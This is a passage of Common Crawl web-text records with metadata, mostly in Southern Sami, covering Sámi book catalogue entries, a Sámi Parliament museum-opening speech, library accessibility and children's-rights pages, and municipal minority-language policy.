Sïejhme gærja Reakta-aajhtere Davvi Girji OS Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 69 Aamhtesh Kultuvre Litteratuvre Saemiengïele heevehtslitteratuvre Gïelehistovrije","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ovttas.no\/sma\/girji_gielas-gillii-mielas-millii-2","date":"2022-08-14T03:27:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571993.68\/warc\/CC-MAIN-20220814022847-20220814052847-00319.warc.gz","language":"sma","language_score":0.9993396997,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9993396997451782}","num_words":45,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staateraerie, Saemien sijte, voelph, abpe Saepmie. Dellie maaje daesnie tjåadtjobe, dan orre Saemien Sijten uvte, museumegåetie man mietie mijjieh dan guhkiem haeliedamme. Jïjnjh læhkoeh gaajhkide mijjide.\nSaemien Sijte, veartenen aajnehke åarjelsaemien museume, lea tïjje doekoe vieksiesvoetem jïh ïedtjem vuesiehtamme. Dijjieh, væjkele dåarjoehtæjjajgujmie jïh voelpigujmie ektine, lidie eadtjohkelaakan barkeme dejnie ulmine buerebe museumegåetiem åadtjodh. Guhkies prosessh orreme jïjnje barkojne mij lea gaskoeh 1980-låhkoen raejeste jåhteme, guhkiem åvtelen manne reakasovvim.\nDaelie daesnie tjåadtjobe jïh dam tjaebpies gåetiem gïehtjelibie, jïh guarkebe maam mijjieh ohtselamme. Manne aaj daam vieksiesvoetem damtem mij lea daam gåetiem buakteme. Manne ektievoetem damtem, jïh aavoem gaajhkese maam buektiehtibie jïh gaajhkese mij båata.\nDaelie Saemien Sijte buerebelaakan buektehte sov seabradahkedïedtem illedh goh joekoen sjïere bievnijh saemien kultuvreste, ektietïjjeste jïh histovrijistie, jïh aaj saemien gïelem jïh kultuvrem gorredidh jïh evtiedidh. Saemien Sijten råålla jïh ulmie sijhtieh lissiehtidh, dovne goh museume, gaavnedimmiesijjie, jïh sijjie gusnie daajroem. Im jueriedisnie daate vihkeles institusjovne saemien åålmegasse.\nDïhte aaj viehkehte daajroem saemien tsiehkiej bïjre lissiehtidh, naakede maam daarpesjibie jis edtjebe vielie rïektes seabradahkem åadtjodh. Jaa, mijjieh nænnoes åålmege, men mijjieh gellie gæmhpoeh gæmhpoeminie mejtie maaje limh sïjhteme slyöhpedh.\nVihkeles prinsihpe saemieh jïh jeatjah aalkoeåålmegh edtjieh maehtedh jïjtsh kultuvreaerpiem gorredidh, dïsse dotkedh jïh dan bïjre bievnedh. Kultuvreaerpie lea vihkele mijjese. Dïhte mijjese mijjen histovrijen bïjre soptseste jïh viehkehte mijjen identiteetem jïh ektiedimmiem hammoedidh.\nDellie maaje museume lea ryöjreldihkie kultuvreaerpien daeverh dåastoehtidh. Goevten museume 160 daeverh, mah ektiedimmiem åarjelsaemien kultuvreaarpan utnieh, Norsk Folkemuseumistie dåastoehti. Daate illedahke dehtie stoerre Bååstede-prosjekteste. Njaarke-Nejlan gievrie minngedsgeatjan gåatan bööti vihth, mij ammes gïeti sisnie orreme gellieh jaepieh. Kultuvreskaehtie sjïere seremonijelle ulmine.\nVielie mijjen kultuvreskaehtie tjuerieh bååstede Saapman båetedh. Daesnie gusnie dej hïejme lea.\nSaemiedigkie edtja jïh byöroe Kultuvredepartemeentine ektine, dejtie saemien museumide reejrehtidh guktie nuepieh åadtjoeh jïjtjemse evtiedidh.\nManne abpe rïhpestimmiehïeljese aavodem, aaj Saemien sijten båetijen aejkien. Ikth vielie, sïjhtem vihth gaajhkesidie biejjine lahkoehtidh!\nGæjhtoe!\nSaemiedigkie jievegem skïenghkine Saemien Sijtese, vytnesjæjja Laila Mari Brandsfjell Praahkaste jievegem dorjeme.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/saernieh\/saemiedigkieraerien-haalome-saemien-sijten-rihpestimmesne.21117.aspx","date":"2022-08-11T00:16:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571222.74\/warc\/CC-MAIN-20220810222056-20220811012056-00639.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":313,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NEHTETJÅAHKOE:\nGuktie maahta njaalmeldh gïelem tjaeliemasse buektedh?\nRichard Kowalik\nJïjtse dotkemeprosjekten bïjre soptsete, mænngan vuartesje guktie maahta dam njaalmeldh gïelem tjaeliemasse buektedh.\nDato: 28.04.2022\nMennie mieresne: 15.00-17.00\nMIjjieh svaalhtesem daase biejjien åvtelen bïejijibie.\nKOWALIKEN BÏJRE:\nJag är doktorand i språkvetenskap och har sedan 2017 jobbat med mitt avhandlingsprojekt där jag dokumenterar och beskriver sydsamiska som det talas av äldre talare idag.\nManne edtjem voestegh mov dotkemebarkoen bïjre lohkehtalledh jïh mænngan edtjem vuartasjidh guktie gåarede dam njaalmeldh gïelem tjaeliemasse buektedh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sijtijarnge.no\/sor\/hvordan-handtere-talesprakets-variasjon-i-skrift\/","date":"2022-10-05T09:51:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337595.1\/warc\/CC-MAIN-20221005073953-20221005103953-00158.warc.gz","language":"sma","language_score":0.9996603727,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9996603727340698}","num_words":76,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Lyngstad, Torleif Bertije Gáivuona suohkan Vaadtasovvemejaepie 1999 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 8291047952 Formaate Sïejhme gærja Reakta-aajhtere Gáivuona suohkan Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 77 Aamhtesh Eatnemelearoe Åålmege jïh laanth Histovrije Nöörjen histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/node\/9079","date":"2022-10-05T19:18:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337663.75\/warc\/CC-MAIN-20221005172112-20221005202112-00181.warc.gz","language":"sma","language_score":0.9985002279,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9985002279281616}","num_words":51,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dajvengærjagåetie Norrbottenisnie dïedtem dan webbesæjjan åtna. Sïjhtebe dan gallesh guktie nuepie edtjieh webbesijjiem maehtedh provhkedh. Men daejrebe muvhth dåeriesmoerh gååvnesieh webbesijjiem jaksedh. Rubrihkesne Teknihken bïevnesh webbesijjien bïjre jïh man jaksoes vielie soptsestibie dej dåeriesmoeri bïjre.\nLaake jaksoes digitaale byjjes hoksehtimmien bïjre\nDaennie bielesne soptsestibie guktie Dajvegærjagåetie laaken mietie barka jaksoes digitaale byjjes hoksehtimmien bïjre. Mijjieh soptsestibie jis naan dåeriesmoerh utnebe laaken mietie barkedh. Soptsestibie gosse dåeriesmoeride staaran edtjieh årrodh. Sïjhtebe dan gallesh guktie nuepie edtjieh maehtedh Polarbibblom provhkedh.\nSoptsesth fiejliej jïh dåeriesmoeri bïjre maam gaavnh\nMijjieh abpe tïjjem sïjhtebe webbesijjie edtja jaksoes årrodh. Gosse bieliem provhkh jïh orre dåeriesmoerh gaavnh maahtah fiejlide mijjese soptsestidh. Dellie maehtebe fiejlide staeriedidh jïh reakta darjodh. Aaj sïjhtebe daejredh mejtie teeksth daarpesjh jallh jeatjah mah ij leah ennje dutnjien Polarbibblosne gååvnese. Maahtah mejlem mijjese seedtedh jallh ringkedh. Vaestiedibie minngemes golme biejjesne gossege dov mailem åådtjeme. Seedth dov mailem diekie: Skicka ditt mejl i formuläret. Ringkh mijjen objeektemaehteles Linda Nilsson Westerdahl tellefovnenommere 073-083 22 41.\nBievnieh jis ibie leah laaken mietie barkeme\nÅajvaladtjh digitaale reeremasse edtja vaaksjodh guktie gaajhkesh laaken mietie berkieh man jaksoes digitaale hoksehtimmie lea. Jis ibie dov gyhtjelasside buerielaakan vaestedh maahta mejlem seedtedh jallh ringkedh daase: mejla eller ringa till Myndigheten för digital förvaltning. Soptsesth dellie dejtie maam tuhtjh mijjieh båajhtode darjoeh.\nTeknihken bïevnesh webbesijjien bïjre jïh man jaksoes\nDaejrebe muvhth dåeriesmoerh gååvnesieh Polarbibblom jaksedh. Dejtie dåeriesmoeride mejtie daejrebe leah:\n- Ibie gaajhkine lehkine vuesehth gusnie fiejlie jïh fiejliem tjïelkelaakan buerkiestibie.\n- Ibie gellie ovmessie vuekieh utnijidie faalehth guktie gaajhkine bieline maehtieh juhtedh.\n- Ibie bieliemaalh jïh stijlemaallh buerie kodkvaliteetine utnieh mah standarden mietie.\n- Mijjen leah kåarhtekommandoh mah maehtieh geervebe årrodh dutnjien gie gïeline stuvrh jallh miste tangeentem diedtieh.\n- Ibie gaajhkh guvvide buerkesth goh teekste.\n- Ij gaajhkh teeksth gåaredh stueriemdidh namhtah dåeriesmoerh.\n- Mijjieh guvvieh provhkebe gosse teeksth vuesiehtidh.\n- Datne gie bieliem provhkh ih maehtieh tïjjem stuvredh jïh man guhkies dïhte. Dle dannasinie utnijh vaarjelidh jis åajaldehtieh olkese destie.\nMijjen ulmie gaajhkh dah åehpies dåeriesmoerh edtjieh staaran årrodh minngemes voerhtjen 15. biejjien 2021.\nGuktie webbesijjiem gïehtjedamme\nBrightnest AB jïjtjeraarehke vaaksjomem webbesæjjan Polarbibblo dorjeme.\nGïem govlehtidh: email@example.com\nMinngemes vaaksjome skïereden 29. Biejjien dorjesovvi jïh Polarbibbloste dåhkasjahteme.\nWebbesijjie bæjhkoehtovvi golken 1. bijjien 2020.\nTjilkemem minngemes orrestin golken 7. biejjien 2020.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/jaksoesvoete-polarbibblose\/","date":"2022-10-02T13:23:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337322.29\/warc\/CC-MAIN-20221002115028-20221002145028-00444.warc.gz","language":"sma","language_score":0.9999624491,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999624490737915}","num_words":351,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Polarbibblose! Mijjese maahtah seedtedh soptsesh, dikth, gærjasaernieh, jïh guvvieh jïh dejtie sajtese bæjhkoehtidh. Aaj maahtah lohkedh jïh dejstie jeatjabistie eadtjaldovvedh mejtie dah daesnie bæjhkoehtamme, jallh kanne dov orre eeremes gærjam gaavnedh gosse mijjen gærjasaernieh lohkeme? Aaj maahtah spealadidh Pac-Man, quiz darjodh jïh gærjam Noran gierehtsen bïjre luhkiegöökte ovmessie gïeline lohkedh.\nIh naan åtnoenommem daarpesjh jis sïjhth mijjese maam seedtedh. Jis ih naan åtnoenommem utnieh dellie mijjeste jorthnommem åadtjoeh jïh dennie nommesne maahtah bæjhkoehtidh dam maam sïjhth. Men jis sïjhth maahtah åtnoenommem skaepiedidh! Dïhte mij buerie dejnie, dellie maahtah spååredh dam maam ih vitnh darjodh jïh aaj mijjen Gærja- jïh plaerievuerpesne meatan årrodh. Desnie maahtah gærjah jïh plaerieh fïerhten asken vitnedh!\nSïjhth vielie Gærja- jïh plaerievuerpien bïjre daejredh? Vuartesjh daagkoe: Gå hit!\nGosse dam dov bæjhkoehtimmiem mijjese saahteme akte dejstie mijjen redaktöörijste dam vuartesje. Dellie dah maehtieh datnine raeriestidh guktie jïjtjedh teekstem jeatjahtehtedh jis daerpies, jallh viehkiehtidh guktie maahtah buerebe sjïdtedh tjaeledh. Gosse gåabpatjahkh fuakedh dellie webbesæjjan beaja jïh desnie maahtah lohkedh! Dam maam dïsse buakteme daelie akte vuerpie Gærja- jïh plaerievuerpesne.\nJis dov leah gyhtjelassh Polarbibblon bïjre? Govlehth mijjine daennie sijjesne govlehtallemegoerine dellie vaestiedibie dan varke guktie nöörebe.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/maam-mijjen-luvnie-maahtah-darjodh\/","date":"2022-10-02T13:08:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337322.29\/warc\/CC-MAIN-20221002115028-20221002145028-00556.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":190,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGosse datne edtjh portrehte-gihtjehtimmie tjaeledh dellie lohkije edtja dejnie almetjinie datne gihtjehth buerebelaakan åahpenidh. Lïerh guktie datne maahtah gihtjehtimmiem bigkedh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/","date":"2022-10-05T16:03:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337631.84\/warc\/CC-MAIN-20221005140739-20221005170739-00189.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":56,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommunfullmäktige antog ett minoritetspolitiskt program i april 2012. Kommunstyrelsen beslutade i juni 2012 om en strategi med inriktningsmål för minoritetspolitiken i Strömsunds kommun. Minoritetspolitiskt program reviderades 2020.\nStrömsund är en av förvaltningskommunerna för samiska som särskilt ska skydda och främja samisk kultur och samiska språk.\nKommunen ska:\nAktem unnebelåhkoepolitijkeprogramme tjïeltenreeremistie njoktjen askesne 2012 dïedti. Tjïeltenreereme nænnoesti ruffien 2012 akten strategien bïjre gusnie ulmie unnebelåhkoepolitihkese Straejmien tjïeltesne lij. Unnebelåhkoepolitijkeprogramme 2020 jaepien nuelesne revideereme.\nStraejmien tjïelte lea akte dejstie 19 reeremetjïeltijste saemiengïelese mah sjïere edtjieh saemien kultuvrem jïh saemien gïelide vaarjelidh jïh evtiedidh.\nTjïelte edtja:\nBroschyrer\nStrömsunds kommun\nBox 500\n833 24 Strömsund\nKontakta kommunen\n0670-161 00 (växel)\nKontakta gärna\nSenast ändrad\/granskad:","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.stromsund.se\/1027.html","date":"2022-10-06T04:15:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337723.23\/warc\/CC-MAIN-20221006025949-20221006055949-00614.warc.gz","language":"sma","language_score":0.793372333,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.7933723330497742, \"swe_Latn_score\": 0.1562814712524414, \"sme_Latn_score\": 0.04399030655622482}","num_words":98,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.874,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ïetniegïele-ööhpehtimmie\nJis dov maana saemeste jallh naan jeatja naasjovne unnebebelåhkoen gïelem soptseste (soemi, meankieli, romani jïh jiddisch) dellie reaktam stïnkes gïeledåarjegem utnedh gaajhkine aarhskuvline. Tjaelieh dam gïelem goh ïetniegïelem aarhskuvlese gosse bæjkohth.\nStuehkien staare reeremedajve gïelide soemi, meankäli jïh saemie. Gosse maana aarhskuvlesæjjam åådtje dellie reaktam abpe jallh åesie ööhpehtimmiem soemien- meänkielin- saemien gïeline utnedh, seamma jis gïelem hïejmesne soptsesth jallh ijje. Ulmie vihkeles guektengïelen aarhskuvline juktie maanide nuepiem vedtedh altese gïelem jïh kultuvre aerpiem öövtiedidh jïh vaarjelidh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/forskola.stockholm\/sok-plats-pa-forskolan\/nationella-minoritetssprak\/sydsamiska\/","date":"2022-09-29T05:00:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335304.71\/warc\/CC-MAIN-20220929034214-20220929064214-00701.warc.gz","language":"sma","language_score":0.9999952316,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999995231628418}","num_words":78,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Agaton SVT NRK Vaadtasovvemejaepie 2001 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Giele Noerhtesaemiengïele Daaroengïele ISBN Vi295 Tïjje 03:00:00 Formaate DVD Reakta-aajhtere Agaton SVT NRK Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Kåanste Musihke Aarhte jïh daajroe IT\/teknologije Byjrese Eatnemefaage Siebriedahke Politihke Siebriedahkedaajroe Ökonomije","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/filbma_samenes-historie","date":"2022-11-27T02:18:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710155.67\/warc\/CC-MAIN-20221127005113-20221127035113-00873.warc.gz","language":"sma","language_score":0.9993609786,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999360978603363}","num_words":62,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerje demokratije joe 100 jaepieh orreme. Gaajhkh geerve almetjh gïeh daesnie jielieh åadtjoeh jïenestidh. Gosse jïeneste åådtje meatan årrodh jïh nænnoestidh guktie laantem stuvredh. Demokratije mahte seamma goh almetjeståvroe.\nDatne gie maana ih åadtjoeh jïenestidh, men læjhkan datne meatan demokratijesne. Gosse datne nuerebe 18 jaepijste jïjnjh aamhtesh gååvnesieh mah soptsestieh mïsse dov leah reaktah. Dah reaktah tjaalasovveme dïsse maam gohtje Maanakonvensjovne. Mahte gaajhkh veartenen laanth dan bïjre seamadamme mij Maanakonvensjovnesne tjaaleme. Sveerjesne maanakonvensjovne laake sjïdti tsïengelen voestes biejjien jaepien 2020.\nMaahta jiehtedh demokratije Maanakonvensjovnine aalka. Jis ih leah åådtjeme dam mïsse reaktam åtnah, ij leah dellie man gåvva veartenem buerielaakan baajnehtidh. Maanah giej leah seadtoes hïejmem, buerie beapmoeh, viehkie gosse skïemtjes orreme jïh raeffesne åådtjeme jïeledh åajsoeh faamohkåbpoeh barkedh dïsse mïsse jaehkieh. Maanah gïeh buerie skuvlesne orreme jïh vijsieslaakan sijjen maahtoste åådtjeme nænnoestidh. Maanah gïeh åadtjoeh soptsestidh maam tuhtjieh, duestieh jiehtedh maam tuhtjieh gosse geerve.\nMaanakonvensjovnesne 421 tsiehkieh gååvnesieh, mejtie gåhtjoeh artihkelh. Fïerhte artihkele lea mij joem bïjre mïsse maanah reaktam utnieh. Naaken daejstie artihkelistie joekoen vihkeles mijjese Polarbibblosne. Naemhtie dejtie maahta buerkiestidh:\n- Artihkele 2: Gaajhkh maanah seamma vyörtegs. Eah naaken maanah edtjieh nåakebe utnedh jeatjabistie maanijste.\n- Artihkele 6: Maanah reaktam jieliemasse utnieh jïh luhpiem evtiedidh. Reaktam jieliemasse ih dellie edtjh daarpehtidh dåarosne jallh nealkoste jaemielidh. Evtiedimmie buerie maanabaelie lea, muvhtem lïeredh, stååkedidh jïh lustestalledh.\n- Artihkele 12, 13, 14 jïh 15: Maanah edtjieh maehtedh jiehtedh maam tuhtjieh jïh ussjedieh, jïh dejtie edtjieh goltelidh jïh jaehkedh. Åadtjoeh saaht mij Jupmelem jaehkedh, jallh ij naan.\n- Artihkele 16: Maanah reaktam raeffesne oktegs jielemem utnedh. Kanne sïjhth man bïjre tjaeledh mij tjeakoes jallh barkoes? Polarbibblosne maahtah dam darjodh jïh ij guhte daarpesjh daejredh datne dïhte.\n- Artihkele 23: Maanah giej naan heaptoeh edtjieh dam viehkiem åadtjodh maam daarpesjieh. Polarbibblosne voejhkelibie ussjedidh sæjroe aaj dutnjien edtja sjïehtedh gie kanne nåakelaakan vuajna jallh tuhtjie geerve lohkedh jïh tjaeledh. Gaajhkesh edtjieh domtedh buerie daesnie årrodh.\n- Artihkele 30: Maanah gïeh unnebelåhkoe almetjh jallh aalkoe-almetjh sjïere reaktah utnieh. Sveerjesne maanah gïeh saemieh, sveerjesoemen jïh tornedaelien maanah, rovmerh jïh juvdelassjh. Datne gie nationelle unnebelåhkoe almetje jallh aalkoe-almetje reaktam åtnah, dov gïelese jïh kultuvrese. Dannasinie Polarbibblo daelie saemien gïeline jïh meänkieli gååvnese. Mijjieh barkebe jïjnjebh gïelide båetije beajjan buektedh.\n- Artihkele 31: Maanah reaktam utnieh stååkedidh, lïegkedidh jïh eejehtidh. Kanne lyjhkh lohkedh, tjaeledh jïh spealadidh gosse eejehth? Polarbibblosne sïjhtebe dijjieh edtjede diekie båetedh dannasinie luste jïh tuhtjieh buerie daesnie slaajperdidh.\nSïjhth gaajhki reaktaj bïjre Maanakonvensjovnesne lohkedh?\nUNICEF lea biehkie Ektie Nasjovnine jïh barka juktie abpe veartene edtja Maanakonvensjovnen mietie dåemiedidh. Dej lea åenehks versjovne Maanakonvensjovneste daesnie.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.polarbibblo.se\/sma-se\/maanakonvensjovne\/","date":"2022-12-03T15:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710933.89\/warc\/CC-MAIN-20221203143925-20221203173925-00524.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":399,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåeredh laajroem maam raeriestibie jallh veeljh laajroem jïjtje. Datne åadtjoeh saemien histovrijen bïjre govledh mij lea vïedteldihkie sijjide Erzcheidergaertene, Rørosen gærhkoe jïh gærhkoegaertene, plaeriehistovrijen, åesiestimmien, gåetieluhpiej jïh navradahki bïjre voenges industrijesne. Åadtjoeh aaj naakenh dejstie fuelhkijste råakedh mah daesnie årroejin.\nGegkiestibie datne maam akt orre sijjien bïjre lïerh, læhka tuvrine!","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/rorosmuseet.no\/sorsamisk-digitalt","date":"2022-11-26T23:38:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446709929.63\/warc\/CC-MAIN-20221126212945-20221127002945-00051.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":50,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne riejries magijem sjugniedidh – aktene veartenisnie gusnie ij naan maanah sïerredimmiem dååjrh jïh gaajhkesh maehtieh jïjtjemse årrodh? Vaaksjoeh Magijeles klaassetjiehtjelem 15 ïedtjije filmigujmie (fïereguhte 3-7 minudth) jïh 17 «quizerh», guvvieraajroeh jïh spealh, goh ålkone veartenen bïjre, skuvlesne, astoeaejkien, gaskeviermesne jïh aajlan bïjre! Fïerhten aaten åvteste maam leah dorjeme, sïjhth naestiem åadtjodh. Tjåanghkan maahtah 36 naestieh åadtjodh! Jïh vaasa medtie 80 minudth gaajhkh darjodh.\nVuartesjh aalkoefilmem jallh diedtieh kroessese, dellie ryöktesth voestes laavenjassine aalkah. Dellie sïjhth voestes tjiehtjielasse båetedh. Diedtieh båalese juktie laavenjassem darjodh, jallh diedtieh njoelese gårroehbielesne jallh åelkiesbielesne juktie laavenjassh målsodh. Gaajhkine laavenjassine tjoerh «minngebe»-båalam diedtedh juktie naestiem åadtjodh. Mænngan filmem vuajneme, tjoerh x gårroeh-roenesne diedtedh jïh dellie naestiem åadtjoeh. Jis nedtelohkijen sistie vaadtsah, dellie gaajhkh naestieh dassh. Læhkoe barkojne magijem sjugniedidh!Vuartesjh filmem","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/diskriminering.reddbarna.no\/?locale=sma","date":"2022-11-26T09:04:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446706285.92\/warc\/CC-MAIN-20221126080725-20221126110725-00535.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":119,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nNordisk kulturkontakt\nVaadtasovvemejaepie\n2022\nFaage\nFormaate\nGaskeviermiesæjroe\nReaktah\nGaajhkh reaktah leah doelehtovveme\nNehtesæjroe mij eevtjeminie maanide lohkedh, gærjaraerieh buakta jïh dovne laavenjassh maanide.\n'Noerhterïjhki gærja-njïelije' åasehth pedagogihkes dåarjoematerijaalh dorje gaajhkide noerhterïjhki guvviegærjide, gaajhkide noerhterïjhki gïelide. Nehtesæjrojne maahta ohtsedh jïh dåarjoematerijalem veedtjedh 20 hedtie gærjide. Gosse saemiengïeleh gærjah ohtsedh, dïedtelh Søk materiale jïh vuelelen gogka tjåådtje Vis bøker på originalspråk dle dïedtelh Samisk. Materijaalem maahtah digkiedimmesaamhtesinie utnedh gosse gærjaj bïjre soptsestalleminie dovne maanajgujmie skuvlesne jallh SAÖÖ:sne, gærjagåetesne jallh gåetesne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_bokslukeren","date":"2022-12-06T14:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711108.34\/warc\/CC-MAIN-20221206124909-20221206154909-00364.warc.gz","language":"sma","language_score":0.999992013,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999920129776001}","num_words":77,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Analyseredh filmem Rebel maam Elle-Máijá Tailfeather dorjeme.\nVeeljh aktem aalkoe-almetjem man bïjre sïjhth lïeredh. Guktie jielieminie? Mah gæmhpoe-aamhtsh utnieh, jïh mah gærjah jïh filmh dorjesovveme dej bïjre?\nFilme Rabbit Proof Fence (2002), dehtie australijen filme-regissööreste Philip Noyce, lea golme aboriginere-nïejti bïjre Australijesne mah sov fuelhkeste sualasuvvieh 1930-låhkoen. Nïejth 